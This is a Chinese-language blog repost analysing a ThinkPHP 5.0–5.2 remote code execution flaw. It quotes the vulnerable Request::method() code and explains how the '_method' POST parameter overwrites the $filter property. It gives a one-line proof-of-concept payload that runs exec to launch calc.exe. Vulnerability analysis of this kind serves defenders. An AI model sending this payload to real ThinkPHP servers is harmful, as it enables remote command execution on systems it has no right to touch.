最近thinkPHP的漏洞終於都爆出來了,以前大佬們都留著過年呢。

這個是前幾天的漏洞預警 | ThinkPHP5遠程命令執行漏洞

最近挺忙的,分析沒空做了,轉發一篇分析文給大家。

序言

最近爆出了Thinkphp5.0.*全版本代碼執行,其中5.1與5.2全版本在生產環境下下同樣也存在代碼執行

漏洞分析:

文件位置: hinkphplibrary hinkRequest.php

/**
* 當前的請求類型
* @access public
* @param bool $origin 是否獲取原始請求類型
* @return string
*/
public function method($origin = false)
{
if ($origin) {
// 獲取原始請求類型
return $this->server(REQUEST_METHOD) ?: GET;
} elseif (!$this->method) {
if (isset($_POST[$this->config[var_method]])) {
$this->method = strtoupper($_POST[$this->config[var_method]]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
} elseif ($this->server(HTTP_X_HTTP_METHOD_OVERRIDE)) {
$this->method = strtoupper($this->server(HTTP_X_HTTP_METHOD_OVERRIDE));
} else {
$this->method = $this->server(REQUEST_METHOD) ?: GET;
}
}

return $this->method;
}

其中:

$this->method = strtoupper($_POST[$this->config[var_method]]);
$method = strtolower($this->method);
$this->{$method} = $_POST;

$method變數是$this->method,其同等於POST的」_method」參數值

然後該處存在一個變數覆蓋

我們可以覆蓋 $filter 屬性值(POC如下)

c=exec&f=calc.exe&&_method=filter&

訪問如下圖所示:

會爆出一個警告級別的異常,導致程序終止如何觸發:如果設置忽略異常提示,如下圖:

本身項目發布就需要屏蔽異常和錯誤所以這個配置是一個正常的配置Payload(POST請求):

彈出計算器

本文部分內容轉自於博客:Thinkphp5.1 ~ 5.2 全版本代碼執


推薦閱讀:
相關文章